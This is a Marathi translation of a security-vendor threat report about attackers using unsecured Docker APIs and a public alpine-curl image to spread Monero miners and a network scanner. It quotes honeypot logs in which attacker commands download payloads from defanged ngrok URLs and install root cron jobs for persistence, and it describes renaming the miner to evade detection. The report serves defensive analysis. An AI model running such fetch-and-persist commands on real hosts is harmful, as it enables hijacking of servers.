क्रिप्टोकरन्सी खाण कामगारांना वितरित करण्यासाठी गैर-मालकीचे डॉकर API आणि समुदायातील सार्वजनिक प्रतिमा कशा वापरल्या जात आहेत

आम्ही हनीपॉट कंटेनर वापरून गोळा केलेल्या डेटाचे विश्लेषण केले, जे आम्ही धमक्यांचा मागोवा घेण्यासाठी तयार केले. आणि आम्हाला डॉकर हबवर समुदाय-प्रकाशित प्रतिमा वापरून रॉग कंटेनर म्हणून तैनात केलेल्या अवांछित किंवा अनधिकृत क्रिप्टोकरन्सी खाण कामगारांकडून महत्त्वपूर्ण क्रियाकलाप आढळला. दुर्भावनापूर्ण क्रिप्टोकरन्सी खाण कामगारांना वितरीत करणार्‍या सेवेचा भाग म्हणून प्रतिमा वापरली जाते.

याव्यतिरिक्त, उघड्या शेजारच्या कंटेनर आणि अनुप्रयोगांमध्ये प्रवेश करण्यासाठी नेटवर्कसह कार्य करण्यासाठी प्रोग्राम स्थापित केले जातात.

आम्ही आमचे हनीपॉट जसेच्या तसे सोडतो, म्हणजे, डीफॉल्ट सेटिंग्जसह, कोणत्याही सुरक्षा उपायांशिवाय किंवा अतिरिक्त सॉफ्टवेअरच्या नंतरच्या स्थापनेशिवाय. कृपया लक्षात घ्या की डॉकरकडे त्रुटी आणि साध्या भेद्यता टाळण्यासाठी प्रारंभिक सेटअपसाठी शिफारसी आहेत. पण वापरलेले हनीपॉट हे कंटेनर आहेत, जे कंटेनरच्या आतील ऍप्लिकेशन्स नव्हे तर कंटेनरायझेशन प्लॅटफॉर्मवर हल्ला शोधण्यासाठी डिझाइन केलेले आहेत.

आढळलेली दुर्भावनापूर्ण क्रियाकलाप देखील लक्षणीय आहे कारण त्यास भेद्यतेची आवश्यकता नाही आणि ती डॉकर आवृत्तीपासून देखील स्वतंत्र आहे. चुकीच्या पद्धतीने कॉन्फिगर केलेली, आणि म्हणून उघडलेली, कंटेनर प्रतिमा शोधणे इतकेच आहे की आक्रमणकर्त्यांना अनेक खुल्या सर्व्हरला संक्रमित करणे आवश्यक आहे.

बंद न केलेले डॉकर API वापरकर्त्याला विस्तृत श्रेणीचे कार्य करण्यास अनुमती देते संघ, चालू असलेल्या कंटेनरची सूची मिळवणे, विशिष्ट कंटेनरमधून लॉग मिळवणे, सुरू करणे, थांबवणे (सक्तीच्या समावेशासह) आणि अगदी निर्दिष्ट सेटिंग्जसह विशिष्ट इमेजमधून नवीन कंटेनर तयार करणे समाविष्ट आहे.

डावीकडे मालवेअर वितरण पद्धत आहे. उजवीकडे हल्लेखोराचे वातावरण आहे, जे प्रतिमांचे रिमोट रोल आउट करण्यास अनुमती देते.

3762 ओपन डॉकर API चे देशानुसार वितरण. 12.02.2019/XNUMX/XNUMX च्या शोधन शोधावर आधारित

हल्ला साखळी आणि पेलोड पर्याय

केवळ हनीपॉट्सच्या मदतीनेच दुर्भावनापूर्ण क्रियाकलाप आढळला नाही. मोनेरो क्रिप्टोकरन्सी मायनिंग सॉफ्टवेअर उपयोजित करण्यासाठी ब्रिज म्हणून वापरल्या जाणार्‍या चुकीच्या कॉन्फिगर केलेल्या कंटेनरची तपासणी केल्यापासून उघड झालेल्या डॉकर API (दुसरा आलेख पाहा) ची संख्या वाढली आहे, असे Shodan कडील डेटा दर्शवितो. गेल्या वर्षी ऑक्टोबरमध्ये (2018, वर्तमान डेटा आपण असे दिसू शकता अंदाजे अनुवादक) फक्त 856 ओपन API होते.

हनीपॉट लॉगच्या तपासणीत असे दिसून आले की कंटेनर इमेजचा वापर देखील वापराशी संबंधित होता ngrok, सुरक्षित कनेक्शन स्थापित करण्यासाठी किंवा सार्वजनिकरित्या प्रवेश करण्यायोग्य बिंदूंवरून निर्दिष्ट पत्ते किंवा संसाधनांवर रहदारी अग्रेषित करण्याचे साधन (उदाहरणार्थ लोकलहोस्ट). हे ओपन सर्व्हरवर पेलोड वितरित करताना आक्रमणकर्त्यांना गतिशीलपणे URL तयार करण्यास अनुमती देते. खाली ngrok सेवेचा गैरवापर दर्शविणाऱ्या लॉगमधील कोड उदाहरणे आहेत:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

तुम्ही बघू शकता, अपलोड केलेल्या फाइल्स सतत बदलणाऱ्या URL वरून डाउनलोड केल्या जातात. या URL ची कालबाह्यता तारीख लहान आहे, त्यामुळे कालबाह्यता तारखेनंतर पेलोड डाउनलोड केले जाऊ शकत नाहीत.

दोन पेलोड पर्याय आहेत. पहिले लिनक्ससाठी संकलित केलेले ELF मायनर आहे (Coinminer.SH.MALXMR.ATNO म्हणून परिभाषित) जे खाण तलावाला जोडते. दुसरी स्क्रिप्ट (TrojanSpy.SH.ZNETMAP.A) आहे जी नेटवर्क रेंज स्कॅन करण्यासाठी आणि नंतर नवीन लक्ष्य शोधण्यासाठी वापरल्या जाणार्‍या काही नेटवर्क टूल्स मिळविण्यासाठी डिझाइन केलेली आहे.

ड्रॉपर स्क्रिप्ट दोन व्हेरिएबल्स सेट करते, जे नंतर क्रिप्टोकरन्सी मायनर तैनात करण्यासाठी वापरले जातात. HOST व्हेरिएबलमध्ये URL असते जेथे दुर्भावनापूर्ण फाइल्स असतात आणि RIP व्हेरिएबल हे उपयोजित केल्या जाणार्‍या खाण कामगाराचे फाइल नाव (खरं तर हॅश) असते. प्रत्येक वेळी हॅश व्हेरिएबल बदलते तेव्हा HOST व्हेरिएबल बदलतो. आक्रमण झालेल्या सर्व्हरवर इतर कोणतेही क्रिप्टोकरन्सी खाण कामगार चालत नाहीत हे तपासण्याचाही स्क्रिप्ट प्रयत्न करते.

HOST आणि RIP व्हेरिएबल्सची उदाहरणे, तसेच इतर कोणतेही खाण कामगार चालत नाहीत हे तपासण्यासाठी वापरलेला कोड स्निपेट

खाणकाम सुरू करण्यापूर्वी, त्याचे नाव बदलून nginx केले जाते. या स्क्रिप्टच्या इतर आवृत्त्या लिनक्स वातावरणात उपस्थित असलेल्या इतर कायदेशीर सेवांसाठी खाण कामगाराचे नाव बदलतात. हे सहसा चालू असलेल्या प्रक्रियांच्या सूचीच्या विरूद्ध चेक बायपास करण्यासाठी पुरेसे असते.

शोध स्क्रिप्टमध्ये देखील वैशिष्ट्ये आहेत. हे आवश्यक साधने तैनात करण्यासाठी समान URL सेवेसह कार्य करते. त्यापैकी zmap बायनरी आहे, ज्याचा वापर नेटवर्क स्कॅन करण्यासाठी आणि खुल्या पोर्टची सूची प्राप्त करण्यासाठी केला जातो. स्क्रिप्ट दुसरी बायनरी देखील लोड करते जी सापडलेल्या सेवांशी संवाद साधण्यासाठी वापरली जाते आणि सापडलेल्या सेवेबद्दल अतिरिक्त माहिती निश्चित करण्यासाठी त्यांच्याकडून बॅनर प्राप्त करते (उदाहरणार्थ, त्याची आवृत्ती).

स्क्रिप्ट स्कॅन करण्यासाठी काही नेटवर्क श्रेणी देखील पूर्व-निर्धारित करते, परंतु हे स्क्रिप्टच्या आवृत्तीवर अवलंबून असते. हे स्कॅन चालवण्यापूर्वी सेवांमधून लक्ष्य पोर्ट देखील सेट करते - या प्रकरणात, डॉकर.

शक्य तितक्या लवकर लक्ष्य सापडले की, बॅनर आपोआप काढून टाकले जातात. स्क्रिप्ट सेवा, अनुप्रयोग, घटक किंवा स्वारस्य असलेल्या प्लॅटफॉर्मवर अवलंबून लक्ष्ये देखील फिल्टर करते: Redis, Jenkins, Drupal, MODX, कुबर्नेट्स मास्टर, डॉकर 1.16 क्लायंट आणि Apache CouchDB. स्कॅन केलेला सर्व्हर त्यांच्यापैकी कोणाशीही जुळत असल्यास, तो मजकूर फाइलमध्ये जतन केला जातो, ज्याचा हल्लेखोर नंतरच्या विश्लेषणासाठी आणि हॅकिंगसाठी वापरू शकतात. या मजकूर फायली आक्रमणकर्त्यांच्या सर्व्हरवर डायनॅमिक लिंकद्वारे अपलोड केल्या जातात. म्हणजेच, प्रत्येक फाईलसाठी स्वतंत्र URL वापरली जाते, याचा अर्थ असा की त्यानंतरचा प्रवेश कठीण आहे.

अटॅक वेक्टर ही डॉकर इमेज आहे, जी कोडच्या पुढील दोन तुकड्यांमध्ये पाहिली जाऊ शकते.

शीर्षस्थानी कायदेशीर सेवेचे नाव बदलत आहे आणि तळाशी zmap नेटवर्क स्कॅन करण्यासाठी कसे वापरले जाते ते आहे

शीर्षस्थानी पूर्वनिर्धारित नेटवर्क श्रेणी आहेत, तळाशी डॉकरसह सेवा शोधण्यासाठी विशिष्ट पोर्ट आहेत

स्क्रीनशॉट दर्शविते की अल्पाइन-कर्ल प्रतिमा 10 दशलक्षाहून अधिक वेळा डाउनलोड केली गेली आहे

अल्पाइन लिनक्स आणि कर्लवर आधारित, विविध प्रोटोकॉलवर फायली हस्तांतरित करण्यासाठी संसाधन-कार्यक्षम CLI साधन, तुम्ही तयार करू शकता डॉकर प्रतिमा. तुम्ही मागील इमेजमध्ये बघू शकता, ही इमेज आधीच 10 दशलक्षाहून अधिक वेळा डाउनलोड केली गेली आहे. मोठ्या संख्येने डाउनलोडचा अर्थ ही प्रतिमा एंट्री पॉइंट म्हणून वापरणे असा असू शकतो; ही प्रतिमा सहा महिन्यांपेक्षा जास्त पूर्वी अपडेट केली गेली होती; वापरकर्त्यांनी या भांडारातून इतर प्रतिमा जितक्या वेळा डाउनलोड केल्या नाहीत. डॉकर मध्ये प्रवेश बिंदू - कंटेनर चालवण्यासाठी कॉन्फिगर करण्यासाठी वापरलेल्या सूचनांचा संच. जर एंट्री पॉइंट सेटिंग्ज चुकीच्या असतील (उदाहरणार्थ, कंटेनर इंटरनेटवरून उघडे ठेवले असेल), तर इमेज अॅटॅक वेक्टर म्हणून वापरली जाऊ शकते. हल्लेखोरांना चुकीचे कॉन्फिगर केलेले किंवा उघडलेले कंटेनर असमर्थित ठेवलेले आढळल्यास ते पेलोड वितरित करण्यासाठी ते वापरू शकतात.

हे लक्षात घेणे महत्वाचे आहे की ही प्रतिमा (अल्पाइन-कर्ल) स्वतःच दुर्भावनापूर्ण नाही, परंतु आपण वर पाहू शकता, ती दुर्भावनापूर्ण कार्ये करण्यासाठी वापरली जाऊ शकते. तत्सम डॉकर प्रतिमा दुर्भावनापूर्ण क्रियाकलाप करण्यासाठी देखील वापरल्या जाऊ शकतात. आम्ही डॉकरशी संपर्क साधला आणि त्यांच्यासोबत या विषयावर काम केले.

शिफारसी

चुकीची सेटिंग राहते सतत समस्या अनेक कंपन्यांसाठी, विशेषत: अंमलबजावणी करणाऱ्या DevOps, जलद विकास आणि वितरण यावर लक्ष केंद्रित केले. ऑडिटिंग आणि मॉनिटरिंग नियमांचे पालन करण्याची गरज, डेटा गोपनीयतेचे निरीक्षण करण्याची आवश्यकता तसेच त्यांचे पालन न केल्यामुळे होणारे प्रचंड नुकसान यामुळे सर्व काही बिघडले आहे. डेव्हलपमेंट लाइफसायकलमध्ये सुरक्षा ऑटोमेशनचा समावेश केल्याने तुम्हाला सुरक्षा छिद्रे शोधण्यात मदत होते जी अन्यथा शोधून काढली जाऊ शकत नाही, परंतु हे तुम्हाला अनावश्यक वर्कलोड कमी करण्यास देखील मदत करते, जसे की प्रत्येक शोधलेल्या भेद्यतेसाठी अतिरिक्त सॉफ्टवेअर बिल्ड चालवणे किंवा अनुप्रयोग तैनात केल्यानंतर चुकीचे कॉन्फिगरेशन.

या लेखात चर्चा केलेली घटना खालील शिफारशींसह सुरुवातीपासूनच सुरक्षिततेचा विचार करण्याची गरज अधोरेखित करते:

• सिस्टम प्रशासक आणि विकासकांसाठी: प्रत्येक गोष्ट केवळ विशिष्ट सर्व्हर किंवा अंतर्गत नेटवर्कच्या विनंत्या स्वीकारण्यासाठी कॉन्फिगर केलेली आहे याची खात्री करण्यासाठी नेहमी तुमची API सेटिंग्ज तपासा.
• किमान अधिकारांच्या तत्त्वाचे अनुसरण करा: कंटेनर प्रतिमा स्वाक्षरी आणि सत्यापित आहेत याची खात्री करा, गंभीर घटकांवर प्रवेश मर्यादित करा (कंटेनर लॉन्च सेवा) आणि नेटवर्क कनेक्शनमध्ये एन्क्रिप्शन जोडा.
• अनुसरण करा शिफारसी आणि सुरक्षा यंत्रणा सक्षम करा, उदा. डॉकर कडून आणि अंगभूत सुरक्षा वैशिष्ट्ये.
• कंटेनरमध्ये चालणार्‍या प्रक्रियांबद्दल अतिरिक्त माहिती मिळविण्यासाठी रनटाइम आणि प्रतिमांचे स्वयंचलित स्कॅनिंग वापरा (उदाहरणार्थ, स्पूफिंग शोधण्यासाठी किंवा भेद्यता शोधण्यासाठी). ऍप्लिकेशन कंट्रोल आणि इंटिग्रिटी मॉनिटरिंग सर्व्हर, फाइल्स आणि सिस्टम एरियामधील असामान्य बदलांचा मागोवा घेण्यास मदत करते.

Trendmicro DevOps संघांना सुरक्षितपणे तयार करण्यात, त्वरीत रोल आउट करण्यात आणि कुठेही लॉन्च करण्यात मदत करते. ट्रेंड मायक्रो हायब्रिड क्लाउड सुरक्षा संस्थेच्या DevOps पाइपलाइनवर शक्तिशाली, सुव्यवस्थित आणि स्वयंचलित सुरक्षा प्रदान करते आणि एकाधिक धोक्याचे संरक्षण प्रदान करते XGen रनटाइमवर भौतिक, आभासी आणि क्लाउड वर्कलोडचे संरक्षण करण्यासाठी. हे कंटेनर सुरक्षा देखील जोडते खोल सुरक्षा и डीप सिक्युरिटी स्मार्ट चेक, जे डेव्हलपमेंट पाइपलाइनच्या कोणत्याही टप्प्यावर मालवेअर आणि भेद्यतेसाठी डॉकर कंटेनर इमेज स्कॅन करते जेणेकरून ते तैनात होण्यापूर्वी धोके टाळण्यासाठी.

तडजोडीची चिन्हे

संबंधित हॅश:

• 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
• f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

वर डॉकर व्हिडिओ कोर्स संभाव्यता कमी करण्यासाठी किंवा वर वर्णन केलेल्या परिस्थितीची घटना पूर्णपणे टाळण्यासाठी प्रथम कोणत्या सेटिंग्ज करणे आवश्यक आहे हे सराव करणारे स्पीकर दर्शवतात. आणि 19-21 ऑगस्ट रोजी ऑनलाइन गहन येथे DevOps साधने आणि फसवणूक तुम्ही या आणि तत्सम सुरक्षा समस्यांबद्दल सहकाऱ्यांशी आणि सराव करणाऱ्या शिक्षकांशी एका गोल टेबलवर चर्चा करू शकता, जिथे प्रत्येकजण बोलू शकतो आणि अनुभवी सहकाऱ्यांच्या वेदना आणि यश ऐकू शकतो.

स्त्रोत: www.habr.com